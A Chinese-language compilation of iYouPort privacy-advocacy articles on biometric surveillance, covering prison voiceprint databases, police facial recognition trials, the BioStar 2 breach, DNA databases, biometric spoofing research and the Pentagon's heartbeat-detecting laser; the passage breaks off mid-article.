我们介绍过声音识别有多可怕，在这里看到具体介绍《匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？》另外一则去年的消息，《提醒注意大规模监视新途径：国际刑警组织使用 192 个执法机构的样本推出*国际语音识别数据库*》

近年来，语音识别技术已经与消费者产品相关联，如亚马逊的 Alexa 和 Apple 的 Siri，但是，该技术最初是为军事和情报应用而开发的。十多年前，正如 The Intercept 报道的那样，美国情报机构开始使用语音识别程序来识别基地组织高级官员在其在线音频中发出的声音。

同样，监狱电信公司 Securus Technologies 的特定语音软件（称为 Investigator Pro）背后的算法和结构部分是通过国防部拨款5000万美元开发的。该软件已获得 Securus 于2014年收购的 JLG Technologies 的许可。根据 Securus 2017 年针对纽约的提议，该技术的开发是因为“国防部需要每天从美国拨打的数百万电话中识别出声音的身份。”

但是，不久之后，像 Securus 和 Global Tel Link 这样的主要监狱技术公司开始向美国司法管辖区推销该技术，这些司法管辖区正在寻求提取和存储与被监禁人员相关的声纹。“IPRO [Investigator Pro] 在全国243个州、县和当地惩教机构中提供了10年的全国精确语音辨析能力记录，”Securus 在 Pinal County 合同中表示。

Michael Lynch 是佛罗里达州北部 Alachua 县监狱的情报协调员，他证实了他的县最近同意购买 Securus 的语音识别计划。Lynch 表示，该计划制作的声纹将永久存档于 Securus 位于德克萨斯州的工厂。他说，“语音[生物识别技术]将告诉我们谁在拨打电话。”

人权倡导者指出，惩教机构一直在建立大规模的声纹数据库，公众或

被监禁的人及其家人很少知情：“每次签订新合同时，都会有新的监控，但我从未见过当局发布关于新的监控更新通知或告知家人的公告。”

保持计划不透明使当局能够悄悄地向被监禁人施压，以令其放弃他们的生物识别数据—或者在他们不知情的情况下收集数据。“很多人都不懂技术，他们已经在那里待了这么久，他们有人甚至从来没有听说过谷歌。”声纹收集程序被视为“他们能有机会跟家人交流的前提条件”。

Prisons Across the U.S. Are Quietly Building Databases of Incarcerated People’s Voice Prints: Securus’s voice recognition program can also identify the voices of people outside prisons, both former prisoners and those who have never been incarcerated but communicate with people inside.

原文

强行面部识别 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

今年所有在伦敦西区圣诞购物的人们都可能会遭遇大都会警察的扫描，当局正在测试一项极具争议的人脸识别监控技术。警方表示，监控软件的移动部署将覆盖苏荷区、皮卡迪利广场和莱斯特广场附近的多个区域，并将“公然”使用。

大都会警察局现场面部技术的战略负责人 Ivan Balhatchet 说：“大都会目前正在开发使用实时面部识别技术，我们已承诺在未来几个月进行10次试验。” 这种技术的使用受到了隐私活动家的强烈批评，特别是因为它具有非常高的错误率。

今年5月，来自权利组织 Big Brother Watch 的活动人士使用信息自由法案获取了数据，这些数据显示，在早期的 Met Police 测试期间，该技术发现 98% 的“匹配”是错误的。该组织现在表示新数据显示技术变得更糟，不准确率上升至100%。

Big Brother Watch 主管 Silkie Carlo 说：“警察在完全没有法律或民主基础的情况下使用这种专制监视工具令人震惊。

该技术使用安装的摄像机拍摄个人的实时视频，同时用红外光照射他们的脸，红外光在可见光谱范围之外。投影仪将产生超过 30,000 个这种不可见光的点，创建一个人脸的3D图谱。在后台运行的软件尝试将其与警察国家数据库中存储的1900万个图像中的任何一个进行匹配。

「图」

「图」

从历史上看，面部识别软件已经能够确定年龄、性别、情绪和各种其他功能，但它不能总是准确地匹配两张照片，特别是在处理有色人种时。

Londoners out for a bit of Christmas shopping in the West End

today and tomorrow could have their face scanned by the Metropolitan Police. The Met is testing, yet again, a controversial surveillance program that uses facial recognition to identify members of the public.

原文

强迫人们用手捂嘴说话的唇读相机：还要疯狂到什么程度？ - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2019年12月12日存档】必需捂住嘴巴才能说话的日子可能不远了。

监督机构警告说，公民遭受政府的监视有可能比“1984”中描述的国内间谍活动更具侵扰性。

英国已经拥有比其他任何国家都更多的人均闭路电视摄像机比例，大都会警察局已经在伦敦试用了面部识别摄像头，并且，现在步态识别的技术已经出现，甚至监视器可以用读唇技术获知人们说了什么话。

政府监控摄像技术专员 Tony Porter 表示，如果不采取任何措施来控制这些新技术的使用，很快人们就只能被迫“捂嘴”才能说话了，否则无法保持户外对话的私密性。

他警告说，目前限制政府使用秘密监视的严格法律框架并不适用于可以部署在公共场所的新监视技术。

（所谓的严格法律框架只是要求在执行秘密监视之前获得手令，在这里看到手令是多么容易获得《他们是如何抓捕说真话的人？⚠灾难和教训》；在美国如此，在五眼其他国家更是如此）

Porter 表示，新技术可以为执法和公共安全带来重要好处，但他在接受伦敦晚报采访时警告说：“保护一个自由开放的社会非常重要，我们现在应该关注技术的影响；

‘运行唇形同步技术以确定人们说了什么话的监视能力会产生非常大的抑制作用。它会改变我们社会的本质。人们不会再觉得自己可以自由谈话’。

他说，这项技术将意味着一个“影响深远、无所不在的监视社会”，没有任何人能在这样的社会里获得隐私权。

“现在是自乔治·奥威尔的《1984》发布以来的第70个年头，我们必须重新听取这些些警告，并宣布我们不想要那样的社会，我们对此能做些什么。”

- 《70年后，还是1984》

大都会最近对面部识别相机进行的试验已经受到了强烈反对，与此同时，公民权利组织 Big Brother Watch 的一项调查揭示了英国私人拥有的面部识别技术“正在像瘟疫一样蔓延”。

公民权利组织在英国各个角落都找到了使用该技术的实例，主要房地产开发商、购物中心、博物馆、会议中心、和赌场。

他们的调查发现，去年在英国北部最大的购物中心之一谢菲尔德的 Meadowhall 进行的现场面部识别试验，可以扫描超过200万访客的面孔。

Big Brother Watch 负责人 Silkie Carlo 说：“英国有一种面部识别流行病。警方和私营公司在构建这些监视网络中的勾结非常令人不安。

‘面部识别是压迫的完美工具，其广泛的使用意味着我们正在面临隐私权的紧急情况。

“面部识别监控有可能使英国的隐私权灭绝”。

视频：

面部识别软件通过将实时图像与人脸照片数据库进行匹配来实现识别。

在每个人脸部的眼睛、鼻子、脸颊和嘴巴上取大约80个独特的点，这些点间的距离使得一个人可以与另一个人区别开来。

监视摄像机测量人脸上各点之间的距离，例如鼻子的宽度，眼窝的深度，眼睛之间的距离和下颌的形状。

由此产生了唯一的数字代码，然后可以将其与从先前照片收集的匹配代码对比以形成联系。

中国官员使用的面部识别系统连接数百万台闭路电视摄像机，并使用人工智能来挑选目标。

专家认为，面部识别技术将很快超越指纹识别技术，成为识别人的最有效方式。

视频：

权利组织 Liberty 对高等法院南威尔士警方使用面部识别摄像机的问题提出了挑战，正在等待裁决。

但 Porter 认为，与可安装在监控摄像头上的最新技术相比，面部识别“几乎已经是昨天的事了”。

CCTV监视器和穿戴式监视摄像机的复杂程度，越来越可能与间谍技术具有相同的功能，但其使用并未得到适当的控制。

“对于使用秘密监视有一个非常严格的监管锁定，但是，我正在谈论的技术类型 —— 比如读唇技术、步态识别技术等 —— 这些都不在严格监管范围内。

“鉴于这些技术的侵略性程度与秘密监视一样，至少必须回顾我们在社会中是如何开始容忍这种情况存在的。”

然而目前警方仍在为其使用面部识别技术的行为做自辨。〇

Lip-reading cameras that will force people to talk ‘with hands over mouths’ are latest attack on privacy, government watchdog warns

原文

当你的生物识别数据从系统中泄露时会发生什么？ - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2019年12月13日存档】比明文储存密码的数据库泄漏更严重；因为你无法更换指纹和虹膜……

密码安全性通常很糟糕，这已经不是什么秘密了。

较长的复杂的密码很难被记住，除非你使用密码管理器，可惜目前仍很少人这样做。

因此，人们倾向于选择那种很容易被猜到的密码，如姓名或出生日期，甚至是“password”和“1234”等荒谬的密码。

劝阻人们不要使用这种密码的倡导者不断失败，于是许多公司和组织试图通过彻底摆脱密码来避免这个问题。

使用指纹、虹膜扫描和面部识别等生物识别技术的“密码替代方案”已得到飞速的发展，并且越来越广泛。

开发用于访问控制的生物识别技术的领先公司之一是 Suprema，以下是他们的自我介绍：

> Suprema 广泛的产品组合包括生物识别门禁系统、考勤系统、指纹实时扫描仪、移动认证解决方案、和嵌入式指纹模块。Suprema 已成为物理安全行业的优质全球品牌，并在130多个国家拥有全球销售网络。Suprema 在 EMEA 地区的生物识别访问控制方面拥有排名第一的市场份额，并入选全球50强安全制造商 ……

根据该公司的网站，全球安装了150万套该公司的系统，有超过10亿人在使用。

正由于 Suprema 在该领域的地位，使其主要产品 **BioStar 2** 发生的大规模数据泄露成为重磅新闻，特别是关于：

“在调查中研究人员发现，⚠Biostar 2 的数据库根本没有受到保护，而且大多数都没有加密。能够通过操纵 Elasticsearch 中的URL搜索条件来探查该数据库，并获取对数据的访问权限。”

Suprema 主页上的一条消息辩称：“此事件涉及数量有限的 BioStar 2 Cloud API 用户。大多数 Suprema 客户在其访问控制和时间管理解决方案中不使用 BioStar 2 Cloud API。”

这可能是真的，但是，研究人员对暴露内容的讨论令人不安：

我们的团队能够访问超过***2780***万条记录，总共***23***千兆字节的数据，其中包括以下信息：

- 访问客户端管理面板、仪表板、后端控件和权限指纹数据；
- 面部识别信息和用户图像；
- 未加密的用户名、密码和用户*ID*；
- 进入和退出安全区域的记录；
- 员工记录包括起始日期；
- 员工安全级别和许可；
- 个人详细信息、包括员工家庭住址和电子邮件；
- 企业的员工结构和层次结构；
- 移动设备和操作系统信息

这些信息每一个都非常致命 —— 简直是社交工程攻击和骇客攻击的最佳向导。

密码（包括具有管理员权限的帐户密码）被安全公司以未加密的形式存储的事实是非同寻常的。

正如研究人员指出的那样，⚠任何找到这个数据库的人都可以使用这些管理员密码来接管具有完整用户权限和完整许可的高级 BioStar 2 帐户，并对整个网络中的安全设置进行更改。

攻击者可以创建新的帐户，包括指纹和面部扫描，使得他们自己可以顺利进入建筑物内的敏感区域。

同样，攻击者也可以更改具有安全许可的帐户上的指纹，以授予任何人进入这些敏感区域的权力。

由于管理员帐户可以控制活动日志，因此犯罪分子可以删除或更改数据以隐藏其活动。

换句话说，这些密码的暴露允许任何人无形地进入重要建筑的任何部分，并且不留下他们存在的痕迹。

问题不止于此。高度个人化的信息列表，如数据库中公开的就业记录、电子邮件地址和家庭地址，都会使欺诈和网络钓鱼成为真正的风险。

它还将允许攻击者识别使用 BioStar 2 系统的公司内的关键员工，这将使他们更容易受到犯罪分子勒索的威胁。

但也许最严重的问题是研究人员注意到以下问题：

类似指纹这种生物识别技术的安全焦虑是最近的趋势。因此，指纹被盗的全部潜在危险仍然未知。

但是，要记住的重要一点是：一旦它被盗，与密码不同，您的指纹是无法更改的。

这使得指纹数据盗窃更加令人担忧。

指纹正在取代许多消费品（如手机）上的键入密码。

⚠消费品上的大多数指纹扫描仪都是未加密的，因此，当攻击者开发技术来复制指纹时，他们就可以访问存储在设备上的所有私人信息，如私密消息、照片和付款方式等等。

研究人员发现的这个数据库是完全暴露的，Suprema 以数字形式保存了人们的实际指纹，因此它可以直接被复制并被用于恶意目的。

已经有很多方法可以创建足以欺骗生物识别系统的假指纹。如果有完整的指纹数据，这样的假版本很有可能击破甚至是最好的生物识别安全性。

在这里看到《当每种生物识别都可以伪造时》。

“当有人拥有您的生物识别数据副本时，会发生什么？” —— 这个问题的提出已经变得非常紧迫。

正如人们多年来一直指出的那样，除了手术之外，你无法改变你的生

物识别数据。或者，正如 Suprema 在其网站上所说的那样：“生物识别技术是定义我们的关键。”

鉴于这一不可改变的事实，也许是时候要求生物识别技术只能在绝对必要时使用了 —— 而不是常规使用。

如果要使用生物识别数据，必须—依法—以最高级别的安全保护。同时，在授予访问权限之前，大多数情况下都应使用密码而不是生物识别。

如果储存密码的数据库受到威胁，至少你可以立刻修改密码。倡导者应该帮助人们安装和熟练使用密码管理器。〇

原文

当政府想要你的 DNA - iYouPort

你我的灾难现实生物识别-眼下最严重的威胁，以及怎么办

随着越来越多的数据通过生物识别传感器从您的身体和大脑流向智能机器，企业和政府机构将很容易了解你的一切，操纵你并代表你做出决策。更重要的是，它们可以破译所有身体和大脑的深层机制，从而获得策动生命的力量国家 DNA 数据库是怎么来的？

「图」

「图」

随着越来越多的数据通过生物识别传感器从您的身体和大脑流向智能机器，企业和政府机构将很容易了解你的一切，操纵你并代表你做出决策。更重要的是，它们可以破译所有身体和大脑的深层机制，从而获得策动生命的力量。如果我们想要阻止小精英垄断这种神圣的力量，如果我们想要阻止人类被分裂成生物种姓，关键需要知道：谁拥有这些数据？关于我的 *DNA*、我的大脑和生命的数据是属于我的，还是属于政府、公司或者人类集体？”—— *Yuval Noah Harari* 教授

实际上，如果政府掌握了你的 DNA，就能把你塞进他们的魔掌。

人们应该做好准备了，因为政府—已经在国会的帮助下，通过立法允许警方在逮捕人员后立即收集和测试 DNA ，特朗普很快会将该法案签署为法律，法院已经裁定警方可以定期从被逮捕但尚未被定罪的人那里采集 DNA 样本，并且当地警察机构正在努力获取这一权力——他们所有人正在开展一场恶魔般的运动—— 以创建一个庞大的国家 DNA 数据库。

正如“纽约时报” 报道：“这已经不是科幻小说中描述的未来。警方可以迅速从垃圾箱的汽水罐和烟头中找出他们想要的任何人。2017年，特朗普签署了 “快速DNA法案”，该法案从今年开始，将获得几个州的批准，允许警察将他们的 Rapid DNA 机器连接到国家 DNA 数据库联合索引系统 Codis。

被称为“魔法盒子”的这些 Rapid DNA 机器—— 便携式，大小与台式打印机相当，而且速度足够快，可以在不到两小时内生成 DNA 配置文件—— 允许警察使用任何可能的社交工程手段获取 DNA 样本。

警方从来怀疑社会所有人。

我们所见过的每一部反乌托邦科幻电影都突出描述了当下这个时刻，政府利用科学和技术的飞跃实现全知全能的上帝一般不可思议的权力。

通过利用您的电话线和手机通信，政府知道您私下说的每一句话都是什么。

通过扫描上传的所有电子邮件、阅读 Facebook 帖子和短信，政府知道你写的都是什么。

通过使用车牌阅读器，监控摄像头和其他跟踪设备监控您的行动，政府知道您要去哪里。

通过翻阅你生活中的所有碎片—— 你读到的是什么、你去了哪里、你说的是什么—— 政府可以预测你将要做什么。

通过映射大脑中的突触，政府很快就会知道你记得什么。

通过访问你的 DNA，政府很快就会知道连你自己都可能还不知道的关于你的其他事：你的家庭图谱、你的祖先、你的健康史、你是否会倾向于服从、以及绘制你人生的全部路线，等等。

当然，这些技术都不是万无一失的。

它们也并非不会受到篡改、骇客攻击或用户偏见的影响。

尽管如此，它们已成为政府代理人手中的便利工具，使宪法的隐私权要求失效，宪法禁止这种不合理的搜查和扣押。

因此，我们不再能说自己“除非被定罪否则就是无辜的”，面对将我们置于犯罪现场的 DNA 证据，行为传感技术将我们的体温和面部抽搐解释为可疑，政府监视系统将交叉检查我们所有人的生物识别数据、牌照证件和 DNA。

近年来，政府获取和使用 DNA 的问题已经受到了公众广泛严厉的反驳。直到最近，政府还要求警方至少遵守一些基本限制，以限制何

时、何地以及如何获取某人的 DNA。然而，这一切都被最高法院的各种裁决所取代，这些裁决无疑为搜查铺平了道路，预示着所有人正在细胞层面失去基本的隐私人权。

自从2013年最高法院对 Maryland v. King 案的裁决之后，试图保护我们的隐私就已经被证明是很困难的，他们将 DNA 收集比作采集嫌疑人指纹那样正当，从而允许政府可以从任何人那里采集 DNA 样本。

法官 Antonin Scalia 在此案中的陈述应该被每个人熟知，帮助你深刻理解如何用第四修正案保护自己，揭露警察国家以所谓“安全”为借口对公民基本权利的每一次侵犯：

“解决肇事犯罪是一个崇高的目标，但它在整体目标中依旧占据较低的位置，保护我们的人民免受可疑的执法搜查才是民主的最高目标……毫无疑问：作为如今完全可预测的后果，如果您被捕，无论是对还是错，无论出于何种原因，您的 *DNA* 都可以被带入国家 *DNA* 数据库永久保存。可以肯定的是，搭乘飞机的任何人都会被获取 *DNA* 样本，只因运输安全管理局需要知道乘客的身份；甚至申请驾驶执照或就读公立学校也是如此。这是一种基因圆形监狱。我怀疑那些写下我们自由宪章的前辈们是否会愿意张开嘴接受 *DNA* 检查。“

虽然指纹技术已经为警察行为历史创造了一个分水岭，但 DNA 技术现在被执法机构誉为解决犯罪的灵丹妙药。

警方喜欢称其为“ 现代指纹”。

然而，与指纹不同，DNA 揭示了“ 我们是谁，我们来自哪里以及我们将成为谁”的一切。

有了这样一个强大的工具，政府收集的 DNA 将不可避免地成为政府入侵所有人基本权利的开端。

所有50个州现在都拥有自己的 DNA 数据库，尽管收集协议因州而异。越来越多的本地数据库中的数据已经被上传到联邦调查局（联合DNA索引系统），这是联邦调查局最庞大的DNA数据库，已经成为识别和跟踪任何人从出生到死亡的基本方法。

甚至医院也通过储存新生婴儿的 DNA 来加入这场游戏，通常是在婴儿的父母完全不知情或不同意的情况下采集的。这是政府对新生儿进行强制性基因筛查的一部分。然而，在许多州，DNA 被无限期地储

存。

这对于今天出生的所有人来说意味着一降生就被装入了一个政府数据库中，该数据库包含关于他们是谁、他们的祖先是谁、以及所有几乎一切私密信息，甚至包括他们是否具有作为追随者、领导者或麻烦制造者的倾向。

正如科学家 Leslie A. Pray 所说：

我们都遗落了自己的 *DNA*，几乎在我们去过的任何地方留下了关于我们身份的痕迹。法医科学家使用留在烟头、电话、手柄、键盘、杯子和许多其他物体上的 *DNA*，更不用说体液中的遗传信息，如血液和精液。事实上，你扔在路边的垃圾都是 *DNA* 的潜在金矿。所有这些遗落的*DNA* 都是免费的，对当地警方调查人员来说。它们都可疑被包含在一个秘密的通用 *DNA* 数据库中。

这意味着，如果你不幸在任何犯罪行为发生的地方遗留了你的 DNA 痕迹，那么，你已经被装入了某个数据库中。

正如 Forensic 杂志报道的那样，“随着官员们越来越意识到 DNA 的潜力，他们会越来越多地使用它。

不幸的是，一些[警察]在处理犯罪现场时没有足够的选择性。相反，他们已经处理了现场的任何信息，提交150个或更多的样本进行分析。“

今天，在机器人技术和自动化的帮助下，DNA 处理、分析和报告花费的时间已经非常少，可以在极短的时间内提供各种信息。令人难以置信的是，一家公司专门根据来自未知“嫌疑人”的DNA样本为警察创建“大头照”，然后将其与具有相似遗传特征的个体进行比较。

简单说，在被证实有罪之前，我们再也不能认为自己是无辜的了。

同样令人不安的是：如果如已经报道的消息那样，科学家能够使用 DNA 跟踪数百平方英里的溪流和河流中的鲑鱼，那么政府间谍就不仅可以知道我们到过的每个地方，而且可以知道我们在每个地方待了多久。

尽管政府机构坚持认为 DNA 是“绝对可靠的”，但“纽约时报”记者 Andrew Pollack 已经提出了一个明确而令人信服的案例，即 DNA 证据实际上可以捏造。以色列科学家“制造的血液和唾液样本含有来自血液和唾液供体以外的人的 DNA，” Pollack 说，“他们还表明，如果

他们能够访问数据库中的 DNA 配置文件，他们就可以自己构建一个与该配置文件相匹配的 DNA 样本，而无需从该人那里获得任何样本。”

科学家 Dan Frumkin 也警告，犯罪现场可以使用捏造的 DNA 进行栽赃。

政府以不仅非法而且不道德的方式行事的可能性已经不再是“如果”，而是“何时”的问题。

Uncle Sam Wants Your DNA: The FBI’s Plan to Create a Nation of Suspects. The government acting in a way that is not only illegal but immoral becomes less a question of “if” and more a question of “when.

原文

当权者开始打击彩妆反面部识别的活动家 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

随着视频监控技术在世界范围内变得越来越普遍和日趋复杂，一些人正在寻找应对方法。但当局的反应似乎很快 ……

「图」

「图」

想要保护自己隐私的激进抗议者正在使用化妆术、特殊的衣服、和配饰来混淆面部识别技术。具体方法相见："列表-1 “生物识别和对抗方法”"。

在俄罗斯，一位专门从事反体制工作的活动家和艺术家创建了围绕这些反监视技术的在线社区。然后她被捕了 ……

在 Facebook 和 Telegram 上发布的许多照片中，粗细相间的黑色和红色线条在俄罗斯年轻男女的脸上纵横交错。他们加入了 “Sledui” 运动（follow的意思）。

艺术家和活动家 Ekaterina Nenasheva 于2月发起了这项运动。她曾因令人震惊的艺术表演和对俄罗斯政府的公开批评而闻名。

「图」

「图」

“我们不希望未经我们同意而被置于无处不在的视频监控摄像机镜头中。我们使用彩妆在几分钟内就可以使自己免受监视和面部识别技术的侵害，该彩妆成为反抗的象征”，Nenasheva 在她的 Facebook 页面上写道。

这个反抗组织在其 Telegram 频道上发布了各种化妆的照片，随后有850多人关注。

该运动还拥有自己的聊天机器人，可以为受众提供如何化妆的说明，以及对不同可能模式的解释：那些实际上会使人脸识别技术产生混乱的方法，以及使其根本上失效的方法。

「图」

「图」

1月底，英国反抗运动 Dazzle Club 在伦敦组织了以城市监视为主题的无声的、精心编排的散步。参与者使用的正是与 Sledui 运动相似的图案彩妆。

尽管英国反抗组织每个周末都能在伦敦格林威治街头露面，但是俄罗斯激进抗议者却不太幸运。

2月9日，Ekaterina Nenasheva 发布了一系列彩妆的新照片 —— 但是，这一次，她是在警车里。

「图」

「图」

「图」

「图」

这位艺术家在她的 Facebook 页面上写道："他们昨天因为我的化妆而逮捕了我们，现在他们指责我们参加了未经授权的活动 —— 只是因为化妆。"

莫斯科警察局将她和另外两位化了妆的人拘留了多个小时后才放行。○

注：曾经很多国家确立了"遮盖脸部违法"的管制条例，而现在，化妆也变成了逮捕的理由。俄罗斯的案件不会是特例，这种镇压方式有可能很快会在全球其他国家出现，取决于当地活动家的反抗模式。活动家应该做好防御准备。

Russian artists wear anti-facial recognition make-up… and get

arrested

原文

当每种生物识别都可以伪造时 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

身份和隐私密切相关。通常，您使用身份证明来访问您的私人信息。除了密码和硬件令牌等传统方法外，生物识别技术正在越来越多地被用于验证人，特别是智能手机，其中许多现在都带有标准内置的指纹传感器和面部识别功能。那么当伪造任何生物识别都很容易时会发生什么？

事实已经证明，由于具有的关键特征，研究人员已经找到可以匹配大量真实指纹的特殊“主指纹”，就像万能钥匙那样。这些可能是自然的，通过搜索指纹数据库获得的，也可以是人工创建的。最近的一篇学术论文描述了一种生产合成主指纹的技术。

使用指纹识别系统，有1000分之一的机会进行错误匹配，合成主指纹能够在 23% 的时间里成功实现欺骗。不太严格的识别系统只具有百分之一的错误率，近似现实生活中那种。这些主指纹看起来也很逼真，意味着可以将它们做成3D打印胶片贴在手指上以实现指纹验证。

面部识别系统就更更容易被攻击了。荷兰的消费者协会发现，在其测试的110部智能手机中，有42部可以通过主人的高质量照片解锁。TechCrunch 最近的一篇文章描述了一种更复杂的方法—使用3D打印创建的整个头部模型，详见《塑料脑袋》

经过测试的所有四款 Android 智能手机都未能发现真人与3D打印模型之间的差异。相比之下，苹果和微软使用的人脸识别系统没有被愚弄。但是，该模型相当简单，因此更多的时间和精力也很可能导致成功成功骗过这些系统。此外，随着技术的进步，这种3D打印模型很可能会变得越来越逼真，因而难以检测。

另一种更可怕的生物识别是人类的声音。详见：《匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？》；《提醒注意大规模监视新途径》

以下是“电讯报”中描述的伪装办法：他的机器被称为半自动社交工程电话机器，允许 Muldowney-Colston 改变他的声音，假装成任何年

龄或性别的人。大都会警察说已经有数百人因此被骗钱。

这听起来像是一个相当粗糙的方法，可能不会打败严格的语音生物识别系统。但去年的研究表明，这里真正的威胁可能不是技术，而是那些擅长修改声音以模仿他人的人。

虹膜生物识别技术也不是答案。 2017年的一份报告显示，使用普通的数码相机愚弄智能手机虹膜识别系统是多么容易，使用普通数码相机偷偷地从中等距离拍摄手机用户眼睛的红外线。基本问题是，每当我们在公共场合时，我们的眼睛通常是暴露在外的，这使得获得虹膜的图像简单得令人惊讶。随着数码相机技术特性的提高，所获得的图像质量也会得到改善，并且随之而来的就是伪造虹膜生物识别技术的便利性。

也许需要新方法—如静脉认证。这个想法是，用户手部皮肤下独特的形状，大小和位置可以用来识别一个人。然而，这个系统最近也被击败了，再次，只是使用标准数码相机即可。稍微修改相机以移除红外线滤镜，这样可以更容易地看到静脉。从这些图像中，研究人员能够建立一个手的蜡质模型，包括静脉细节，足以愚弄静脉认证系统。可能有人认为，任何人都不可能为了规避这种生物识别而竭尽全力。但是，报告指出，德国情报部门相当于国家安全局的 BND 就使用静脉认证：未经授权访问其秘密办公大楼肯定是值得的。

最后，在相关的说明中，还有一些令人惊叹的作品，它们利用机器学习通过绘制真实个体的图库来生成模拟人脸的照片完全逼真的图像。有一个迷人的视频：如下，通过分析3万张名人照片，展示了无数虚假面孔是如何创造出来的。机器学习软件能够提取生成模拟真实照片外观的图像的规则。通过改变一些抽象参数，产生了各种逼真但是人工制造的脸部：

虽然不能直接应用于身份和验证问题，但这项工作确实表明了AI技术和强大的硬件如何分析生物识别技术，然后以新的方式应用。在不久的将来，这几乎肯定会给隐私带来新的挑战。详见以下文章：

- 延伸阅读：我们在这篇报告中详细分析了这类造假技术《当恶意者掌握技术，信息战的未来有多可怕》

What happens to identity and privacy when every biometric can be faked? This work does indicate how AI techniques and powerful hardware allow biometrics to be analysed and then applied in new ways. It seems likely that this will lead to new challenges for

privacy in the not-too-distant future.

原文

心跳签名：无法遮挡、无法逃避的终极生物识别技术 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2019年11月6日存档】目前市面上几乎所有生物识别技术都可以通过伪造被欺骗。也就是说你还有出路。但是，现在出现了一种终极监视方式，无法遮掩、无法伪造、无需接触远程即可实现……

五角大楼推出了一款能够探测到人的独特心跳特征的远程激光设备。

与以往一样，五角大楼宣称该技术“旨在挫败恐怖主义”，但是很显然，也会导致全民监视升级的新台阶：这是一种从远处即可进行生物识别的监视方法。

科幻小说早就告诉我们，未来的战争将与激光战斗，我们只是假设它们是武器。现在看起来还可以作为监视设备存在。

五角大楼的心跳探测激光器被称为 Jetson，它使用一种称为振动测量的技术来检测由于血液在整个循环系统中的运动而引起的人体微妙振动。

这里的意义在于你的心跳是独一无二的 —— 不是心跳速度，而是峰谷，每个人都是不同的。在这里看到具体解释。

该监视装置目前的有效射程为200米，理论上就像狙击武器一样。

人类操作员使用激光器瞄准，在目前的技术程度上，需要30秒时间实现捕获。一旦目标被捕获心跳特征，激光系统就可以通过重复该过程来确认目标的身份。

这意味着，例如，进行侦察的士兵可以在执行任务之前获得可疑目标的心跳特征。

这样的情报将允许派遣任何攻击部队随后与目标群体接触，只瞄准那

些预先标记好的人。

同时也意味着，如果在目标群体中事先安插了己方的线人，那么狙击手可以通过识别他们的心跳来识别“是不是自己人”，避免向自己人开火。

五角大楼认为这样的技术可以减少误伤。

但是，也许对这项技术最令人疑惑的影响是其在军事领域之外的潜在用途。

没有钥匙，没有密码，没有芯片 —— 实现监视

大约70%的人不希望自己的身体被植入芯片以存储数据和授予访问权限。

这意味着要放弃密码、密钥、指纹登录和面部识别系统，还有很长的路要走。

不幸的是人们容易忘记密码、钥匙丢失或被盗，一块透明胶就有可能欺骗指纹识别。虹膜扫描仪也并非不可欺骗，虽然需要一些技术能力和经费。

在这里看到：《当每种生物识别都可以伪造时》

但是，你的身体随着你的脉搏振动的方式这一特征是无法被模仿或被盗的。

同样，你也不可能通过戴着手套或面具来掩饰心跳。

从本质上讲，心跳签名是一种终极生物识别身份验证工具。

你只是走到一扇门前，等待激光扫描你，然后进入。

这种技术和其他生物识别一样可以被安装在你的手机上、便利店里等等。

与华盛顿塔科马的商店中使用的面部识别系统被批评种族歧视，但心跳识别肯定不具有种族歧视性 —— 简单说就是，隐私保护者更难批评和阻止这种监视手段。

苹果手表的逻辑扩展

其实心跳签名的监视手段并不是新思路。苹果手表已经实现了心跳监控。

由于 Apple Watch 等可穿戴技术，如今能够在发生心脏急症时被及时发现。

但是显然，曾经您必须佩戴这样的设备或连接到医院的机器才能实现这点。

想象一下，如果医院要实施这样一个系统，扫描每个进入急诊室的人，以确定他们是否患有心脏急症，那么将可以大大改善治疗效果。

想象一下，养老院、康复中心和急救人员配备了这样的设备，似乎也会很方便。在未来，诊断分类可能是一个自动化的过程。

执法部门的使用

执法方面的使用范围可能是巨大的。他们要想找到他们的目标就需要大范围扫描人群。

也许有些人会认为“精准的生物识别可以瞄准犯罪而不会误伤好人”？听起来的确有点像，但是，那是在完美社会中才能实现的。

不幸的是，我们并不是生活在一个完美的社会中。

无论是通过有偏见的技术还是故意滥用，无处不在的、不安全和不道德的监控技术已经受到了越来越多的抨击。

五角大楼的 **Jetson** 激光器可以为警察提供一种非常高效的工具，将警察当局怀疑的一切人收集下来，以便在任何时候盯防 —— 这些人会成为重点监视目标。

延伸：被成为重点监视目标的结果是什么《我被警察折磨至精神崩溃：现在我必须爬起来战斗》。

心跳签名与指纹或 DNA 不同，进行鉴定所需的数据无法由实验室捏造。

当然，目前为止它依旧是早期技术。 Jetson 是一个原型。

如上所述，扫描一个人大约需要30秒，并且目标必须在整个时间内保持静止。

但是，无疑，它会迅速发展。蓝图已经在这里了。〇

The Pentagon’s new heartbeat detection laser could save us from our surveillance horror

原文

我们遗落的骨骸 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年7月29日存档】当基础设施遗留下来时，仅仅将面部识别定为非法是不够的

似乎潮流已经开始转向面部识别技术。虽然争议不断 —— 从种族主义到大规模存储公民敏感信息 —— 引起了人们对技术带来的风险的严重关注，该技术增强了已经不堪重负的癌病状态，并维持和强化了监视资本主义体制。

- 监视资本主义时代的噩梦是什么？在这里下载这本书：https://t.me/iyouport/6559

奥克兰、旧金山和马萨诸塞州萨默维尔等城市出于对公民自由和种族歧视问题的关注，最近都禁止执法部门使用该技术；加利福尼亚州正在考虑一项法案，以减少身体摄像机中面部识别的使用；从芝加哥到马萨诸塞州的激进主义者已经动员起来，以防止在公共住房等领域使用面部识别系统 ……

- 《身体相机适得其反吗？中国正在开始流行这种东西》

似乎无处不在的国家和寡头公司操控的这种监视反乌托邦可以被叫停？或者至少推迟一段时间？

并非如此。

首先必须强调，所有这些组织的努力和公民抗议活动都是出色且重要的工作。能够这样做的所有人都需要得到支持、称赞和联合。面部识别是一项危险的技术，因此禁止它并在此期间阻止其标准化是至关重要的。

但是，专注于抵制 “面部识别” —— 一种特定技术及其在特定的机构用途 —— 会带来风险。

这种 *专注的抵制* 将该技术视作一个可以孤立解决的离散概念，就

好像可以简单地将其减去以 “解决” 特定问题一样。这不可能做到。

因为就像其他所有技术一样，面部识别技术也依赖于广泛的基础结构，即：使之成为可能的现有技术、实践和流程。

